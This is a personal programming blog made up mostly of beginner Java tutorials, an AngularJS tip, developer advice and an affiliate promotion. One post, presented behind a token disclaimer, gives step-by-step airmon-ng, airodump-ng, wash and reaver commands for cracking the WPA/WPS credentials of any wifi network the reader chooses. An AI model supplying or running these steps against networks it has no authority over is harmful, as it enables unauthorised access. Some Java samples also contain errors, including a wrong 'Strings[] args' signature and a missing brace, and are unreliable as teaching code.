Sponsored Links

November 24, 2017

Factorial By Recursion


import java.util.Scanner;

public class RecursionEx {
 //main
 public static void main(String args[]){
  Scanner temp = new Scanner(System.in);
  System.out.println("Enter number to find its factorial: ");
  long x = temp.nextLong();
  System.out.println(fact(x));
  
 }
 
 //fact
 public static long fact(long n){
  if(n<=1)
   return 1;
  else
   return n * fact(n-1);
 }
}

Constructor in Java

class Sample{
 private String girlName;
 public Sample(String name){
  girlName=name;
 }
 public void setName(String name){
  girlName=name;
 }
 public String getName(){
  return girlName;
 }
 public void displaydata(){
  System.out.printf("Name of the girl is %s", getName());
 }
 
}

public class ConstructorEx {
 public static void main(String args[]){
  Sample sampleObj=new Sample("priya");
  sampleObj.displaydata();
 }
}

November 23, 2017

Program to sort numbers

class Sorting{
 public static void main(String args[]){
  int number[]={55,40,70,80,90,21};
  int n = number.length;
                System.out.print("Given list:");
                for (int i=0;i<n;i++)
                {
                    System.out.print("\t"+number[i]);
                }
                System.out.println("\n");
            //Sorting begins
                for(int i=0;i<n;i++){
                    for (int j=i+1;j<n;j++){
                        if (number[i]<number[j]){
                            //interchange values
                               int temp=number[i];
                               number[i]=number[j];
                               number[j]=temp;
                        }
                    }
                }
                System.out.print("Sorted list:");
                for(int i=0;i<n;i++){
                    System.out.print("\t"+number[i]);
                    
                }
 }

Hello World in JAVA

It is the trend to write the program to print "Hello World" while starting with any language. We will also do the same. Below is the program and I will also explain useful things used in program.

class Hello{
 public static void main(Strings[] args){
   System.out.println("Hello World!!!");
 }
}
  1. Open any text editor and write the above program. Note that some are in capital letters.
  2. Now save the file with name Hello.java
  3. Open command prompt and browse the location where the file is located.
  4. For eg: If the file is located in c:/javatut/ then goto the same folder location in cmd.
  5. Now type javac Hello.java
  6. This command will compile your java file and creates class file.
  7. Now type java Hello
  8. If the compilation worked then you will get the output.

Some explanations

  • The first statement defines the main class which is required and the class name should be in initial capital letter.
  • The second statement defines the main function or method of the class. The first letter of String is capitalized as it is the class name.
  • The third statement is used to display output. First letter of System is capitalized and the println statement creates new line after the output. You can also sumply use print only.

Basic rules while programming in JAVA

There are some of the ground rules while you are programming in JAVA. Before we start on writing the first program we will talk about common rules you must follow, which you must mock up.

  • The file name must be same as the main class name you used.
  • Class name must be start with the initial capital letter. Java is case sensitive language.
  • Any classes you used in the program must start with the capital letter and the method name with small letter.
  • The class file is obtained after the compilation of the program and it is the bytecode that can run in any platform which hava JDK.
We will start with the first program and syntax in out next post. Till then stay tune...

How to set path for JDK

In the previous post i have mentioned about the software and hardware requirements to get started with java programming. Only having those requirements is not enough. We need to set path of the JDK as the environment variables. There are two ways for doing this.

Process 1

We can set the path from the command prompt. The steps are mentioned below.
  1. Open the command prompt.
  2. Type javac and press enter.
  3. If the result is shown as the command is not recognized, that means path is not set. Or if some help commands are shown then path is already set.
  4. To set path first you need to copy the location of jdk installed in your drive.
  5. Goto c:\program files and find java folder. Inside the java folder search for folder with jdk and its version. Inside it goto bin folder. And click on any file and view properties and there copy the path. It looks like this "C:\Program Files\Java\jdk1.5.0_09\bin" . Copy it.
  6. In the command prompt, type "set path=%path%;C:\Program Files\Java\jdk1.5.0_09\bin" without the double quotes. The path is only sample example. It may vary according to the JDK version.
  7. Now to check whether the path is set correctly or not, type javac and press enter. Now the results are shown instead of showing error. Now you can run the java program.

Process 2

  1. Goto the windows properties.
  2. Click on advanced system setting.
  3. Click the environment variables.
  4. In the system variables, click on add new.
  5. Then enter "PATH" in variable name and in the variable value enter the path that is copied as in process 1.
  6. To check do as in process 1.
Sometimes following process 2 may not work properly, so process 1 is followed mostly. In the next post I will write the first program and ways to run in the command prompt.

JAVA Introduction

Java is one of the object oriented programming language which is used to make complex programs and applications. Java has many features which you will learn through out this tutorials. I here present the basic syntax, codes, program examples for you. Java is platform independent language so you can run this in any machine.
There are some of the requirements to run the java program and I will tell you what.
  1. You need to install Java Development Kit(JDK) in your machine before you run program and you also need to set path which I will show you later.
  2. You need a java editor like eclipse, netbeans or you can simply use notepad for writing the codes.
  3. You need computer system with pentium processor.

You can download the JDK from the java site http://www.oracle.com/technetwork/java/javase/downloads/index.html and select one that is compactible with your machine. In next post i will write about how to code your first program and run in command prompt. Bye Bye...

November 19, 2017

Hack WPA WPA2 wifi with airmon-ng Kali Linus

Disclaimer: This tutorials is for educational purpose only. I am not responsible for any illegal activities performed with this tutorials.



You must be using kali linux for this process.
1. Open terminal with root access
2. Type ifconfig
3. airmon-ng start wlan0
You will get list of processes that will interfare with the process so kill them one by one.
4. kill PID
5. airodump-ng wlan0
Now break the operation with ctrl+C
5. wash -i mon0
Now break the operation after some time with ctrl+C
Open new terminal and type
6. reaver -i mon0 -b bssid -vv
here bssid refers to the bssid of the network you want to crack.
If there is some errors with this operation type following
7. reaver -i mon0 -b bssid -d 30 -vv -dh-small


Wait for the process to complete. It will take several hours depending upon the strength of wifi network and the password strength.
Enjoy.

November 15, 2017

Earn online with affiliate marketing with BestChange

BestChange is a specialized online e-currency exchange service that monitors rates for dozens of popular conversion pairs in near real-time and offers one-click access to lists of reliable e-currency exchangers capable of helping you complete your transaction quickly and efficiently. It has a affiliate program that lets affiliate user earn for their promotion. You can now earn from the referral visits, sign ups and activity. Minimum payout is $1 and offers different payment methods. For more information you can visit the site Electronic money exchangers. Electronic money exchangers

  1. Visit the link above Electronic money exchangers.
  2. Click on "affiliate program" navigation bar.
  3. Read terms and click "follow link".
  4. And sign up.
  5. Remember to read all texts in check box. You donot need to check second from last option.

November 14, 2017

10 Ways to Become a Better Developer

  1. Read other people's code.
  2. Get someone to read your code.
  3. Fix bugs before writing new code.
  4. Learn a new technology.
  5. Keep it simple.
  6. Write a blog post about your code.
  7. Contribute to open source.
  8. Fix it, Don't hack it.
  9. Increase code coverage by 1%.
  10. Leave your desk every hour.

Future For Computer Geeks

This generation that we are living is the computer age. Everything in this today's world are somehow connected to the computer and the technology. Alright lets just talk about the computer. For those who want their future in the computer may be for engineers, programmers, designers and so on they have a very bright future if only they can struggle. Many people in this field have earned much more wealth and this is just in increasing trend. So in this blog i am writing about everything for a computer geek. If you are also a beginner in this field then every post are equally important. I will post the tutorials, codes, important steps and many more here. What you mist do is stay tuned.

We will soon meet in next post.


How to fix Duplicate error with ng-repeat in angularjs

While working with angularjs directive ng-repeat, you may have encountered with the problem of duplicate error with ng-repeat. Here is the proper description and problem and the solution of it.
In order for angular to know exactly what items have changed, it calculates a hash for each item within the ng-repeat. Otherwise, if you had 5 items with the exact same contents, how would it be able to determine which of those items was modified? When it determines that duplicates exist, it prints out that error.
In this case, to get around this, there's a track by expression that you can add to the end of the ng-repeat expression. This expression lets you define a property that uniquely identifies each item in the array. For arrays with primitive types, one approach is to use track by $index which tracks each item in the array by the objects position within the array.
  
<div ng-repeat="num in [1, 2, 2, 3] track by $index">
 {{num}}
</div>
  
 
By adding the track by $index, you will not get the duplicate error.